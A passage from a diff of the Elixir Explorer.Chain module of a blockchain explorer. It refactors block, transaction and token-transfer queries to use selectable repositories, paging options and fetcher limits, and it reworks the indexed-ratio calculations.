find_decompiled_contract_address(%Hash{byte_count: unquote(Hash.Address.byte_count())} = hash) do - query = - from( - address in Address, - preload: [ - :contracts_creation_internal_transaction, - :names, - :smart_contract, - :token, - :contracts_creation_transaction, - :decompiled_smart_contracts - ], - where: address.hash == ^hash - ) - - address = Repo.one(query) - - if address do - {:ok, address} - else - {:error, :not_found} - end - end - @doc """ Converts `t:Explorer.Chain.Block.t/0` `hash` to the `t:Explorer.Chain.Block.t/0` with that `hash`. @@ -1885,7 +930,7 @@ defmodule Explorer.Chain do Returns `{:error, :not_found}` if not found - iex> {:ok, hash} = Explorer.Chain.string_to_block_hash( + iex> {:ok, hash} = Explorer.Chain.string_to_full_hash( ...> "0x9fc76417374aa880d4449a1f7f31ec597f00b1f6f3dd2d66f4c9c6c445836d8b" ...> ) iex> Explorer.Chain.hash_to_block(hash) @@ -1898,14 +943,15 @@ defmodule Explorer.Chain do `t:Explorer.Chain.Block.t/0` will not be included in the page `entries`. """ - @spec hash_to_block(Hash.Full.t(), [necessity_by_association_option]) :: {:ok, Block.t()} | {:error, :not_found} + @spec hash_to_block(Hash.Full.t(), [necessity_by_association_option | api?]) :: + {:ok, Block.t()} | {:error, :not_found} def hash_to_block(%Hash{byte_count: unquote(Hash.Full.byte_count())} = hash, options \\ []) when is_list(options) do necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) Block |> where(hash: ^hash) |> join_associations(necessity_by_association) - |> Repo.one() + |> select_repo(options).one() |> case do nil -> {:error, :not_found} @@ -1955,7 +1001,7 @@ defmodule Explorer.Chain do Returns `{:error, :not_found}` if not found - iex> {:ok, hash} = Explorer.Chain.string_to_transaction_hash( + iex> {:ok, hash} = Explorer.Chain.string_to_full_hash( ...> "0x9fc76417374aa880d4449a1f7f31ec597f00b1f6f3dd2d66f4c9c6c445836d8b" ...> ) iex> Explorer.Chain.hash_to_transaction(hash) @@ -1967,7 +1013,7 @@ defmodule Explorer.Chain do `:required`, and the `t:Explorer.Chain.Transaction.t/0` has no associated record for that association, then the `t:Explorer.Chain.Transaction.t/0` will not be included in the page `entries`. """ - @spec hash_to_transaction(Hash.Full.t(), [necessity_by_association_option]) :: + @spec hash_to_transaction(Hash.Full.t(), [necessity_by_association_option | api?]) :: {:ok, Transaction.t()} | {:error, :not_found} def hash_to_transaction( %Hash{byte_count: unquote(Hash.Full.byte_count())} = hash, @@ -1979,7 +1025,7 @@ defmodule Explorer.Chain do Transaction |> where(hash: ^hash) |> join_associations(necessity_by_association) - |> Repo.one() + |> select_repo(options).one() |> case do nil -> {:error, :not_found} @@ -1989,6 +1035,37 @@ defmodule Explorer.Chain do end end + def preload_token_transfers( + %Transaction{hash: transaction_hash, block_hash: block_hash} = transaction, + necessity_by_association, + options + ) do + limit = @token_transfers_per_transaction_preview + 1 + + token_transfers = + TokenTransfer + |> (&if(is_nil(block_hash), + do: where(&1, [token_transfer], token_transfer.transaction_hash == ^transaction_hash), + else: + where( + &1, + [token_transfer], + token_transfer.transaction_hash == ^transaction_hash and token_transfer.block_hash == ^block_hash + ) + )).() + |> limit(^limit) + |> ExplorerHelper.maybe_hide_scam_addresses(:token_contract_address_hash, options) + |> order_by([token_transfer], asc: token_transfer.log_index) + |> join_associations(necessity_by_association) + |> select_repo(options).all() + |> flat_1155_batch_token_transfers() + |> Enum.take(limit) + + %Transaction{transaction | token_transfers: token_transfers} + end + + def get_token_transfers_per_transaction_preview_count, do: @token_transfers_per_transaction_preview + @doc """ Converts list of `t:Explorer.Chain.Transaction.t/0` `hashes` to the list of `t:Explorer.Chain.Transaction.t/0`s for those `hashes`. @@ -2005,7 +1082,7 @@ defmodule Explorer.Chain do Returns `[]` if not found - iex> {:ok, hash} = Explorer.Chain.string_to_transaction_hash( + iex> {:ok, hash} = Explorer.Chain.string_to_full_hash( ...> "0x9fc76417374aa880d4449a1f7f31ec597f00b1f6f3dd2d66f4c9c6c445836d8b" ...> ) iex> Explorer.Chain.hashes_to_transactions([hash]) @@ -2016,16 +1093,33 @@ defmodule Explorer.Chain do * `:necessity_by_association` - use to load `t:association/0` as `:required` or `:optional`. If an association is `:required`, and the `t:Explorer.Chain.Transaction.t/0` has no associated record for that association, then the `t:Explorer.Chain.Transaction.t/0` will not be included in the page `entries`. + * `:paging_options` - a `t:Explorer.PagingOptions.t/0` used to specify the `:page_size` and + `:key` (a tuple of the lowest/oldest `{block_number, index}`) and. Results will be the transactions + older than the `block_number` and `index` that are passed. """ - @spec hashes_to_transactions([Hash.Full.t()], [necessity_by_association_option]) :: [Transaction.t()] | [] + @spec hashes_to_transactions([Hash.Full.t()], [paging_options | necessity_by_association_option | api?]) :: + [Transaction.t()] | [] def hashes_to_transactions(hashes, options \\ []) when is_list(hashes) and is_list(options) do necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) - fetch_transactions() + # Don't use @default_paging_options to preserve backward compatibility + paging_options = Keyword.get(options, :paging_options, false) + + transactions = + if paging_options do + case paging_options do + %PagingOptions{key: {0, 0}, is_index_in_asc_order: false} -> [] + _ -> Transaction.fetch_transactions(paging_options) + end + else + Transaction.fetch_transactions() + end + + transactions |> where([transaction], transaction.hash in ^hashes) |> join_associations(necessity_by_association) |> preload([{:token_transfers, [:token, :from_address, :to_address]}]) - |> Repo.all() + |> select_repo(options).all() end @doc """ @@ -2035,40 +1129,129 @@ defmodule Explorer.Chain do """ @spec import(Import.all_options()) :: Import.all_result() def import(options) do - Import.all(options) + case Import.all(options) do + {:ok, imported} = result -> + assets_to_import = %{ + addresses: imported[:addresses] || [], + blocks: imported[:blocks] || [], + transactions: imported[:transactions] || [], + address_current_token_balances: imported[:address_current_token_balances] || [] + } + + MultichainSearch.send_data_to_queue(assets_to_import) + result + + other_result -> + other_result + end end @doc """ The percentage of indexed blocks on the chain. - iex> for index <- 5..9 do - ...> insert(:block, number: index) - ...> Process.sleep(200) - ...> end - iex> Explorer.Chain.indexed_ratio() - Decimal.new(1, 50, -2) - If there are no blocks, the percentage is 0. - iex> Explorer.Chain.indexed_ratio() - Decimal.new(0) + iex> Explorer.Chain.indexed_ratio_blocks() + Decimal.new(1) """ - @spec indexed_ratio() :: Decimal.t() - def indexed_ratio do - %{min: min, max: max} = BlockNumber.get_all() + @spec indexed_ratio_blocks() :: Decimal.t() + def indexed_ratio_blocks do + if indexer_running?() do + %{min: min_saved_block_number, max: max_saved_block_number} = BlockNumber.get_all() - case {min, max} do - {0, 0} -> - Decimal.new(0) + min_blockchain_block_number = + RangesHelper.get_min_block_number_from_range_string(Application.get_env(:indexer, :block_ranges)) - _ -> - result = Decimal.div(max - min + 1, max + 1) + case {min_saved_block_number, max_saved_block_number} do + {0, 0} -> + Decimal.new(1) + + _ -> + divisor = max_saved_block_number - min_blockchain_block_number - BlockNumberHelper.null_rounds_count() + 1 + + ratio = get_ratio(BlocksCount.get(), divisor) + + ratio + |> (&if( + greater_or_equal_0_99(&1) && + min_saved_block_number <= min_blockchain_block_number, + do: Decimal.new(1), + else: &1 + )).() + |> format_indexed_ratio() + end + else + Decimal.new(1) + end + end + + @spec indexed_ratio_internal_transactions() :: Decimal.t() + def indexed_ratio_internal_transactions do + if indexer_running?() and internal_transactions_fetcher_running?() do + %{max: max_saved_block_number} = BlockNumber.get_all() + + min_blockchain_trace_block_number = Application.get_env(:indexer, :trace_first_block) + + case max_saved_block_number do + 0 -> + Decimal.new(0) + + _ -> + full_blocks_range = + max_saved_block_number - min_blockchain_trace_block_number - BlockNumberHelper.null_rounds_count() + 1 + + pending_ops_entity = PendingOperationsHelper.actual_entity() + + pbo_count = + pending_ops_entity.blocks_count_in_range(min_blockchain_trace_block_number, max_saved_block_number) - Decimal.round(result, 2, :down) + processed_int_transactions_for_blocks_count = max(0, full_blocks_range - pbo_count) + + ratio = get_ratio(processed_int_transactions_for_blocks_count, full_blocks_range) + + ratio + |> (&if( + greater_or_equal_0_99(&1), + do: Decimal.new(1), + else: &1 + )).() + |> format_indexed_ratio() + end + else + Decimal.new(1) end end + @spec get_ratio(non_neg_integer(), non_neg_integer()) :: Decimal.t() + defp get_ratio(dividend, divisor) do + if divisor > 0, + do: dividend |> Decimal.div(divisor), + else: Decimal.new(1) + end + + @spec greater_or_equal_0_99(Decimal.t()) :: boolean() + defp greater_or_equal_0_99(value) do + Decimal.compare(value, Decimal.from_float(0.99)) == :gt || + Decimal.compare(value, Decimal.from_float(0.99)) == :eq + end + + @spec format_indexed_ratio(Decimal.t()) :: Decimal.t() + defp format_indexed_ratio(raw_ratio) do + raw_ratio + |> Decimal.round(2, :down) + |> Decimal.min(Decimal.new(1)) + end + + @doc """ + Fetches the lowest block number available in the database. + + Queries the database for the minimum block number among blocks marked as consensus + blocks. Returns 0 if no consensus blocks exist or if the query fails. + + ## Returns + - `non_neg_integer`: The lowest block number from consensus blocks, or 0 if none found + """ @spec fetch_min_block_number() :: non_neg_integer def fetch_min_block_number do query = @@ -2085,6 +1268,15 @@ defmodule Explorer.Chain do 0 end + @doc """ + Fetches the highest block number available in the database. + + Queries the database for the maximum block number among blocks marked as consensus + blocks. Returns 0 if no consensus blocks exist or if the query fails. + + ## Returns + - `non_neg_integer`: The highest block number from consensus blocks, or 0 if none found + """ @spec fetch_max_block_number() :: non_neg_integer def fetch_max_block_number do query = @@ -2105,22 +1297,17 @@ defmodule Explorer.Chain do Repo.get(Block, block_hash) end - @doc """ - The number of `t:Explorer.Chain.InternalTransaction.t/0`. - - iex> transaction = :transaction |> insert() |> with_block() - iex> insert(:internal_transaction, index: 0, transaction: transaction, block_hash: transaction.block_hash, block_index: 0) - iex> Explorer.Chain.internal_transaction_count() - 1 - - If there are none, the count is `0`. - - iex> Explorer.Chain.internal_transaction_count() - 0 + def filter_non_refetch_needed_block_numbers(block_numbers) do + query = + from( + block in Block, + where: block.number in ^block_numbers, + where: block.consensus == true, + where: block.refetch_needed == false, + select: block.number + ) - """ - def internal_transaction_count do - Repo.aggregate(InternalTransaction.where_nonpending_block(), :count, :transaction_hash) + Repo.all(query) end @doc """ @@ -2137,7 +1324,7 @@ defmodule Explorer.Chain do * ':block_type' - use to filter by type of block; Uncle`, `Reorg`, or `Block` (default). """ - @spec list_blocks([paging_options | necessity_by_association_option]) :: [Block.t()] + @spec list_blocks([paging_options | necessity_by_association_option | api?]) :: [Block.t()] def list_blocks(options \\ []) when is_list(options) do necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) paging_options = Keyword.get(options, :paging_options) || @default_paging_options @@ -2145,34 +1332,34 @@ defmodule Explorer.Chain do cond do block_type == "Block" && !paging_options.key -> - block_from_cache(block_type, paging_options, necessity_by_association) + block_from_cache(block_type, paging_options, necessity_by_association, options) block_type == "Uncle" && !paging_options.key -> - uncles_from_cache(block_type, paging_options, necessity_by_association) + uncles_from_cache(block_type, paging_options, necessity_by_association, options) true -> - fetch_blocks(block_type, paging_options, necessity_by_association) + fetch_blocks(block_type, paging_options, necessity_by_association, options) end end - defp block_from_cache(block_type, paging_options, necessity_by_association) do - case Blocks.take_enough(paging_options.page_size) do + defp block_from_cache(block_type, paging_options, necessity_by_association, options) do + case Blocks.atomic_take_enough(paging_options.page_size) do nil -> - elements = fetch_blocks(block_type, paging_options, necessity_by_association) + elements = fetch_blocks(block_type, paging_options, necessity_by_association, options) Blocks.update(elements) elements blocks -> - blocks + blocks |> Repo.preload(Map.keys(necessity_by_association)) end end - def uncles_from_cache(block_type, paging_options, necessity_by_association) do - case Uncles.take_enough(paging_options.page_size) do + def uncles_from_cache(block_type, paging_options, necessity_by_association, options) do + case Uncles.atomic_take_enough(paging_options.page_size) do nil -> - elements = fetch_blocks(block_type, paging_options, necessity_by_association) + elements = fetch_blocks(block_type, paging_options, necessity_by_association, options) Uncles.update(elements) @@ -2183,14 +1370,20 @@ defmodule Explorer.Chain do end end - defp fetch_blocks(block_type, paging_options, necessity_by_association) do - Block - |> Block.block_type_filter(block_type) - |> page_blocks(paging_options) - |> limit(^paging_options.page_size) - |> order_by(desc: :number) - |> join_associations(necessity_by_association) - |> Repo.all() + defp fetch_blocks(block_type, paging_options, necessity_by_association, options) do + case paging_options do + %PagingOptions{key: {0}} -> + [] + + _ -> + Block + |> Block.block_type_filter(block_type) + |> page_blocks(paging_options) + |> limit(^paging_options.page_size) + |> order_by(desc: :number) + |> join_associations(necessity_by_association) + |> select_repo(options).all() + end end @doc """ @@ -2217,98 +1410,37 @@ defmodule Explorer.Chain do end @doc """ - Lists the top `t:Explorer.Chain.Address.t/0`'s' in descending order based on coin balance and address hash. + Retrieves the total row count for a given table. - """ - @spec list_top_addresses :: [{Address.t(), non_neg_integer()}] - def list_top_addresses(options \\ []) do - paging_options = Keyword.get(options, :paging_options, @default_paging_options) - - if is_nil(paging_options.key) do - paging_options.page_size - |> Accounts.take_enough() - |> case do - nil -> - accounts_with_n = fetch_top_addresses(paging_options) - - accounts_with_n - |> Enum.map(fn {address, _n} -> address end) - |> Accounts.update() - - accounts_with_n - - accounts -> - Enum.map( - accounts, - &{&1, - if is_nil(&1.nonce) do - 0 - else - &1.nonce + 1 - end} - ) - end - else - fetch_top_addresses(paging_options) - end - end - - defp fetch_top_addresses(paging_options) do - base_query = - from(a in Address, - where: a.fetched_coin_balance > ^0, - order_by: [desc: a.fetched_coin_balance, asc: a.hash], - preload: [:names], - select: {a, fragment("coalesce(1 + ?, 0)", a.nonce)} - ) - - base_query - |> page_addresses(paging_options) - |> limit(^paging_options.page_size) - |> Repo.all() - end + This function estimates the row count using system catalogs. If the estimate + is unavailable, it performs an exact count using an aggregate query. - @doc """ - Lists the top `t:Explorer.Chain.Token.t/0`'s'. + ## Parameters + - `module`: The module representing the table schema. + - `options`: An optional keyword list of options, such as selecting a specific repository. + ## Returns + - The total row count as a non-negative integer. """ - @spec list_top_tokens(String.t()) :: [{Token.t(), non_neg_integer()}] - def list_top_tokens(filter, options \\ []) do - paging_options = Keyword.get(options, :paging_options, @default_paging_options) - - fetch_top_tokens(filter, paging_options) - end - - defp fetch_top_tokens(filter, paging_options) do - base_query = - from(t in Token, - where: t.total_supply > ^0, - order_by: [desc_nulls_last: t.holder_count, asc: t.name], - preload: [:contract_address] - ) - - base_query_with_paging = - base_query - |> page_tokens(paging_options) - |> limit(^paging_options.page_size) + @spec get_table_rows_total_count(atom(), keyword()) :: non_neg_integer() + def get_table_rows_total_count(module, options) do + table_name = module.__schema__(:source) - query = - if filter && filter !== "" do - base_query_with_paging - |> where(fragment("to_tsvector('english', symbol || ' ' || name ) @@ to_tsquery(?)", ^filter)) - else - base_query_with_paging - end + count = CacheCountersHelper.estimated_count_from(table_name, options) - query - |> Repo.all() + if is_nil(count) do + select_repo(options).aggregate(module, :count, timeout: :infinity) + else + count + end end @doc """ Calls `reducer` on a stream of `t:Explorer.Chain.Block.t/0` without `t:Explorer.Chain.Block.Reward.t/0`. """ - def stream_blocks_without_rewards(initial, reducer) when is_function(reducer, 2) do + def stream_blocks_without_rewards(initial, reducer, limited? \\ false) when is_function(reducer, 2) do Block.blocks_without_reward_query() + |> add_fetcher_limit(limited?) |> Repo.stream_reduce(initial, reducer) end @@ -2322,8 +1454,27 @@ defmodule Explorer.Chain do end @doc """ - Finds all Blocks validated by the address with the given hash. - + Finds all transactions of a certain block numbers + """ + def get_transactions_of_block_numbers(block_numbers) do + block_numbers + |> Transaction.transactions_for_block_numbers() + |> Repo.all() + end + + @doc """ + Finds transactions by hashes + """ + @spec get_transactions_by_hashes([Hash.t()]) :: [Transaction.t()] + def get_transactions_by_hashes(transaction_hashes) do + transaction_hashes + |> Transaction.by_hashes_query() + |> Repo.all() + end + + @doc """ + Finds all Blocks validated by the address with the given hash. + ## Options * `:necessity_by_association` - use to load `t:association/0` as `:required` or `:optional`. If an association is `:required`, and the `t:Explorer.Chain.Block.t/0` has no associated record for that association, then the @@ -2342,187 +1493,35 @@ defmodule Explorer.Chain do necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) paging_options = Keyword.get(options, :paging_options, @default_paging_options) - Block - |> join_associations(necessity_by_association) - |> where(miner_hash: ^address_hash) - |> page_blocks(paging_options) - |> limit(^paging_options.page_size) - |> order_by(desc: :number) - |> Repo.all() - end - - def check_if_validated_blocks_at_address(address_hash) do - Repo.exists?(from(b in Block, where: b.miner_hash == ^address_hash)) - end - - def check_if_logs_at_address(address_hash) do - Repo.exists?(from(l in Log, where: l.address_hash == ^address_hash)) - end - - def check_if_internal_transactions_at_address(address_hash) do - internal_transactions_exists_by_created_contract_address_hash = - Repo.exists?(from(it in InternalTransaction, where: it.created_contract_address_hash == ^address_hash)) - - internal_transactions_exists_by_from_address_hash = - Repo.exists?(from(it in InternalTransaction, where: it.from_address_hash == ^address_hash)) - - internal_transactions_exists_by_to_address_hash = - Repo.exists?(from(it in InternalTransaction, where: it.to_address_hash == ^address_hash)) - - internal_transactions_exists_by_created_contract_address_hash || internal_transactions_exists_by_from_address_hash || - internal_transactions_exists_by_to_address_hash - end - - def check_if_token_transfers_at_address(address_hash) do - token_transfers_exists_by_from_address_hash = - Repo.exists?(from(tt in TokenTransfer, where: tt.from_address_hash == ^address_hash)) - - token_transfers_exists_by_to_address_hash = - Repo.exists?(from(tt in TokenTransfer, where: tt.to_address_hash == ^address_hash)) - - token_transfers_exists_by_from_address_hash || - token_transfers_exists_by_to_address_hash - end - - def check_if_tokens_at_address(address_hash) do - Repo.exists?( - from( - tb in CurrentTokenBalance, - where: tb.address_hash == ^address_hash, - where: tb.value > 0 - ) - ) - end - - @doc """ - Counts all of the block validations and groups by the `miner_hash`. - """ - def each_address_block_validation_count(fun) when is_function(fun, 1) do - query = - from( - b in Block, - join: addr in Address, - where: b.miner_hash == addr.hash, - select: {b.miner_hash, count(b.miner_hash)}, - group_by: b.miner_hash - ) - - Repo.stream_each(query, fun) - end - - @doc """ - Counts the number of `t:Explorer.Chain.Block.t/0` validated by the address with the given `hash`. - """ - @spec address_to_validation_count(Hash.Address.t()) :: non_neg_integer() - def address_to_validation_count(hash) do - query = from(block in Block, where: block.miner_hash == ^hash, select: fragment("COUNT(*)")) - - Repo.one(query) - end - - @spec address_to_transaction_count(Address.t()) :: non_neg_integer() - def address_to_transaction_count(address) do - if contract?(address) do - incoming_transaction_count = address_to_incoming_transaction_count(address.hash) - - if incoming_transaction_count == 0 do - total_transactions_sent_by_address(address.hash) - else - incoming_transaction_count - end - else - total_transactions_sent_by_address(address.hash) - end - end - - @spec address_to_token_transfer_count(Address.t()) :: non_neg_integer() - def address_to_token_transfer_count(address) do - query = - from( - token_transfer in TokenTransfer, - where: token_transfer.to_address_hash == ^address.hash, - or_where: token_transfer.from_address_hash == ^address.hash - ) - - Repo.aggregate(query, :count, timeout: :infinity) - end - - @spec address_to_gas_usage_count(Address.t()) :: Decimal.t() | nil - def address_to_gas_usage_count(address) do - if contract?(address) do - incoming_transaction_gas_usage = address_to_incoming_transaction_gas_usage(address.hash) - - cond do - !incoming_transaction_gas_usage -> - address_to_outcoming_transaction_gas_usage(address.hash) - - Decimal.compare(incoming_transaction_gas_usage, 0) == :eq -> - address_to_outcoming_transaction_gas_usage(address.hash) + case paging_options do + %PagingOptions{key: {0}} -> + [] - true -> - incoming_transaction_gas_usage - end - else - address_to_outcoming_transaction_gas_usage(address.hash) + _ -> + Block + |> join_associations(necessity_by_association) + |> where(miner_hash: ^address_hash) + |> page_blocks(paging_options) + |> limit(^paging_options.page_size) + |> order_by(desc: :number) + |> select_repo(options).all() end end @doc """ - Return the balance in usd corresponding to this token. Return nil if the usd_value of the token is not present. + Return the balance in usd corresponding to this token. Return nil if the fiat_value of the token is not present. """ - def balance_in_usd(%{token: %{usd_value: nil}}) do - nil + def balance_in_fiat(%{fiat_value: fiat_value} = token_balance) when not is_nil(fiat_value) do + token_balance.fiat_value end - def balance_in_usd(token_balance) do - tokens = CurrencyHelpers.divide_decimals(token_balance.value, token_balance.token.decimals) - price = token_balance.token.usd_value - Decimal.mult(tokens, price) + def balance_in_fiat(%{token: %{fiat_value: fiat_value, decimals: decimals}}) when nil in [fiat_value, decimals] do + nil end - defp contract?(%{contract_code: nil}), do: false - - defp contract?(%{contract_code: _}), do: true - - @doc """ - Returns a stream of unfetched `t:Explorer.Chain.Address.CoinBalance.t/0`. - - When there are addresses, the `reducer` is called for each `t:Explorer.Chain.Address.t/0` `hash` and all - `t:Explorer.Chain.Block.t/0` `block_number` that address is mentioned. - - | Address Hash Schema | Address Hash Field | Block Number Schema | Block Number Field | - |--------------------------------------------|---------------------------------|------------------------------------|--------------------| - | `t:Explorer.Chain.Block.t/0` | `miner_hash` | `t:Explorer.Chain.Block.t/0` | `number` | - | `t:Explorer.Chain.Transaction.t/0` | `from_address_hash` | `t:Explorer.Chain.Transaction.t/0` | `block_number` | - | `t:Explorer.Chain.Transaction.t/0` | `to_address_hash` | `t:Explorer.Chain.Transaction.t/0` | `block_number` | - | `t:Explorer.Chain.Log.t/0` | `address_hash` | `t:Explorer.Chain.Transaction.t/0` | `block_number` | - | `t:Explorer.Chain.InternalTransaction.t/0` | `created_contract_address_hash` | `t:Explorer.Chain.Transaction.t/0` | `block_number` | - | `t:Explorer.Chain.InternalTransaction.t/0` | `from_address_hash` | `t:Explorer.Chain.Transaction.t/0` | `block_number` | - | `t:Explorer.Chain.InternalTransaction.t/0` | `to_address_hash` | `t:Explorer.Chain.Transaction.t/0` | `block_number` | - - Pending `t:Explorer.Chain.Transaction.t/0` `from_address_hash` and `to_address_hash` aren't returned because they - don't have an associated block number. - - When there are no addresses, the `reducer` is never called and the `initial` is returned in an `:ok` tuple. - - When an `t:Explorer.Chain.Address.t/0` `hash` is used multiple times, all unique `t:Explorer.Chain.Block.t/0` `number` - will be returned. - """ - @spec stream_unfetched_balances( - initial :: accumulator, - reducer :: - (entry :: %{address_hash: Hash.Address.t(), block_number: Block.block_number()}, accumulator -> accumulator) - ) :: {:ok, accumulator} - when accumulator: term() - def stream_unfetched_balances(initial, reducer) when is_function(reducer, 2) do - query = - from( - balance in CoinBalance, - where: is_nil(balance.value_fetched_at), - select: %{address_hash: balance.address_hash, block_number: balance.block_number} - ) - - Repo.stream_reduce(query, initial, reducer) + def balance_in_fiat(%{token: %{fiat_value: fiat_value, decimals: decimals}} = token_balance) do + tokens = CurrencyHelper.divide_decimals(token_balance.value, decimals) + Decimal.mult(tokens, fiat_value) end @doc """ @@ -2530,64 +1529,29 @@ defmodule Explorer.Chain do """ @spec stream_unfetched_token_balances( initial :: accumulator, - reducer :: (entry :: TokenBalance.t(), accumulator -> accumulator) + reducer :: (entry :: TokenBalance.t(), accumulator -> accumulator), + limited? :: boolean() ) :: {:ok, accumulator} when accumulator: term() - def stream_unfetched_token_balances(initial, reducer) when is_function(reducer, 2) do + def stream_unfetched_token_balances(initial, reducer, limited? \\ false) when is_function(reducer, 2) do TokenBalance.unfetched_token_balances() + |> add_token_balances_fetcher_limit(limited?) |> Repo.stream_reduce(initial, reducer) end - @doc """ - Returns a stream of all blocks with unfetched internal transactions, using - the `pending_block_operation` table. - - Only blocks with consensus are returned. - - iex> non_consensus = insert(:block, consensus: false) - iex> insert(:pending_block_operation, block: non_consensus, fetch_internal_transactions: true) - iex> unfetched = insert(:block) - iex> insert(:pending_block_operation, block: unfetched, fetch_internal_transactions: true) - iex> fetched = insert(:block) - iex> insert(:pending_block_operation, block: fetched, fetch_internal_transactions: false) - iex> {:ok, number_set} = Explorer.Chain.stream_blocks_with_unfetched_internal_transactions( - ...> MapSet.new(), - ...> fn number, acc -> - ...> MapSet.put(acc, number) - ...> end - ...> ) - iex> non_consensus.number in number_set - false - iex> unfetched.number in number_set - true - iex> fetched.hash in number_set - false - - """ - @spec stream_blocks_with_unfetched_internal_transactions( - initial :: accumulator, - reducer :: (entry :: term(), accumulator -> accumulator) - ) :: {:ok, accumulator} - when accumulator: term() - def stream_blocks_with_unfetched_internal_transactions(initial, reducer) when is_function(reducer, 2) do - query = - from( - b in Block, - join: pending_ops in assoc(b, :pending_operations), - where: pending_ops.fetch_internal_transactions, - where: b.consensus, - select: b.number - ) - - Repo.stream_reduce(query, initial, reducer) - end - def remove_nonconsensus_blocks_from_pending_ops(block_hashes) do query = - from( - po in PendingBlockOperation, - where: po.block_hash in ^block_hashes - ) + case PendingOperationsHelper.pending_operations_type() do + "blocks" -> + PendingOperationsHelper.block_hash_in_query(block_hashes) + + "transactions" -> + from( + pto in PendingTransactionOperation, + join: t in assoc(pto, :transaction), + where: t.block_hash in ^block_hashes + ) + end {_, _} = Repo.delete_all(query) @@ -2596,52 +1560,28 @@ defmodule Explorer.Chain do def remove_nonconsensus_blocks_from_pending_ops do query = - from( - po in PendingBlockOperation, - inner_join: block in Block, - on: block.hash == po.block_hash, - where: block.consensus == false - ) + case PendingOperationsHelper.pending_operations_type() do + "blocks" -> + from( + pbo in PendingBlockOperation, + inner_join: block in Block, + on: block.hash == pbo.block_hash, + where: block.consensus == false + ) + + "transactions" -> + from( + pto in PendingTransactionOperation, + join: t in assoc(pto, :transaction), + where: t.block_consensus == false + ) + end {_, _} = Repo.delete_all(query) :ok end - @spec stream_transactions_with_unfetched_created_contract_codes( - fields :: [ - :block_hash - | :created_contract_code_indexed_at - | :from_address_hash - | :gas - | :gas_price - | :hash - | :index - | :input - | :nonce - | :r - | :s - | :to_address_hash - | :v - | :value - ], - initial :: accumulator, - reducer :: (entry :: term(), accumulator -> accumulator) - ) :: {:ok, accumulator} - when accumulator: term() - def stream_transactions_with_unfetched_created_contract_codes(fields, initial, reducer) - when is_function(reducer, 2) do - query = - from(t in Transaction, - where: - not is_nil(t.block_hash) and not is_nil(t.created_contract_address_hash) and - is_nil(t.created_contract_code_indexed_at), - select: ^fields - ) - - Repo.stream_reduce(query, initial, reducer) - end - @spec stream_mined_transactions( fields :: [ :block_hash @@ -2691,14 +1631,16 @@ defmodule Explorer.Chain do | :value ], initial :: accumulator, - reducer :: (entry :: term(), accumulator -> accumulator) + reducer :: (entry :: term(), accumulator -> accumulator), + limited? :: boolean() ) :: {:ok, accumulator} when accumulator: term() - def stream_pending_transactions(fields, initial, reducer) when is_function(reducer, 2) do + def stream_pending_transactions(fields, initial, reducer, limited? \\ false) when is_function(reducer, 2) do query = Transaction |> pending_transactions_query() |> select(^fields) + |> add_fetcher_limit(limited?) Repo.stream_reduce(query, initial, reducer) end @@ -2713,35 +1655,20 @@ defmodule Explorer.Chain do """ @spec stream_unfetched_uncles( initial :: accumulator, - reducer :: (entry :: term(), accumulator -> accumulator) + reducer :: (entry :: term(), accumulator -> accumulator), + limited? :: boolean() ) :: {:ok, accumulator} when accumulator: term() - def stream_unfetched_uncles(initial, reducer) when is_function(reducer, 2) do + def stream_unfetched_uncles(initial, reducer, limited? \\ false) when is_function(reducer, 2) do query = from(bsdr in Block.SecondDegreeRelation, where: is_nil(bsdr.uncle_fetched_at) and not is_nil(bsdr.index), select: [:nephew_hash, :index] ) - Repo.stream_reduce(query, initial, reducer) - end - - @doc """ - The number of `t:Explorer.Chain.Log.t/0`. - - iex> transaction = :transaction |> insert() |> with_block() - iex> insert(:log, transaction: transaction, index: 0) - iex> Explorer.Chain.log_count() - 1 - - When there are no `t:Explorer.Chain.Log.t/0`. - - iex> Explorer.Chain.log_count() - 0 - - """ - def log_count do - Repo.one!(from(log in "logs", select: fragment("COUNT(*)"))) + query + |> add_fetcher_limit(limited?) + |> Repo.stream_reduce(initial, reducer) end @doc """ @@ -2767,11 +1694,11 @@ defmodule Explorer.Chain do {:error, :not_found} """ - @spec max_consensus_block_number() :: {:ok, Block.block_number()} | {:error, :not_found} - def max_consensus_block_number do + @spec max_consensus_block_number(Keyword.t()) :: {:ok, Block.block_number()} | {:error, :not_found} + def max_consensus_block_number(options \\ []) do Block |> where(consensus: true) - |> Repo.aggregate(:max, :number) + |> select_repo(options).aggregate(:max, :number) |> case do nil -> {:error, :not_found} number -> {:ok, number} @@ -2779,84 +1706,41 @@ defmodule Explorer.Chain do end @spec block_height() :: block_height() - def block_height do + def block_height(options \\ []) do query = from(block in Block, select: coalesce(max(block.number), 0), where: block.consensus == true) - Repo.one!(query) + select_repo(options).one!(query) + end + + def indexer_running? do + Application.get_env(:indexer, Indexer.Supervisor)[:enabled] or + match?({:ok, _, _}, HealthHelper.last_db_block_status()) + end + + def internal_transactions_fetcher_running? do + not Application.get_env(:indexer, Indexer.Fetcher.InternalTransaction.Supervisor)[:disabled?] or + match?({:ok, _, _}, last_db_internal_transaction_block_status()) end - def last_db_block_status do + def last_db_internal_transaction_block_status do query = - from(block in Block, + from(it in InternalTransaction, + join: block in assoc(it, :block), select: {block.number, block.timestamp}, - where: block.consensus == true, order_by: [desc: block.number], limit: 1 ) query |> Repo.one() - |> block_status() - end - - def last_cache_block_status do - [ - paging_options: %PagingOptions{page_size: 1} - ] - |> list_blocks() - |> List.last() - |> case do - %{timestamp: timestamp, number: number} -> - block_status({number, timestamp}) - - _ -> - block_status(nil) - end - end - - @spec upsert_last_fetched_counter(map()) :: {:ok, LastFetchedCounter.t()} | {:error, Ecto.Changeset.t()} - def upsert_last_fetched_counter(params) do - changeset = LastFetchedCounter.changeset(%LastFetchedCounter{}, params) - - Repo.insert(changeset, - on_conflict: :replace_all, - conflict_target: [:counter_type] - ) - end - - def get_last_fetched_counter(type) do - query = - from( - last_fetched_counter in LastFetchedCounter, - where: last_fetched_counter.counter_type == ^type, - select: last_fetched_counter.value - ) - - Repo.one!(query) || Decimal.new(0) - end - - defp block_status({number, timestamp}) do - now = DateTime.utc_now() - last_block_period = DateTime.diff(now, timestamp, :millisecond) - - if last_block_period > Application.get_env(:explorer, :healthy_blocks_period) do - {:error, number, timestamp} - else - {:ok, number, timestamp} - end + |> HealthHelper.block_status() end - defp block_status(nil), do: {:error, :no_blocks} - - def fetch_min_missing_block_cache do - 